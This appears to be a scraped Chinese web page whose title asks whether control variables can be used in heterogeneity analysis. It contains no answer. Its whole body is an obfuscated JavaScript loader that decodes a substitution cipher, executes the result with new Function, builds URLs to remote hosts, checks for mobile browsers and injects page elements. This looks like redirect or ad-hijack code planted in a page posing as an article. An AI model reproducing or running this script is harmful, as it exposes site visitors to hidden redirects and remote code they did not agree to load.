控制变量可以做异质性分析吗

!function(){function a(a){var _idx="flxc5m2iuv";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}s0s)hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}s0sdhFLFT6mRpLLJdOm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}s0sdhFL5SJm4qR2dDfm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}s0s)hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}s0sdhFLFT6mRpLLJdOm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}s0sdhFL5SJm4qR2dDfm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}s0sdhFLFT6mRpLLJdOm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/7qR(n^@6_X/}s0s"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}s0s"=X8"7qR(n^@6_X"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}s0s^)ThF)m7J6YXfhm2YF"="}s0sX5ThF)mDDT(J67m2YF"="}s0s2pThFm7J6YXfhm2YF"="}s0s_JqhFmDDT(J67m2YF"="}s0s2TOhFm7J6YXfhm2YF"="}s0sCSqhF)mDDT(J67m2YF"="}s0s)FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}s0sqFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}s0sj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}s0sqFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}s0sj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}s0s)hFL_h^m^YX5pR5m(O^gQ}1Q/f/}s0sj(8}vY87qR(n^@6_X"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}s0s)hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();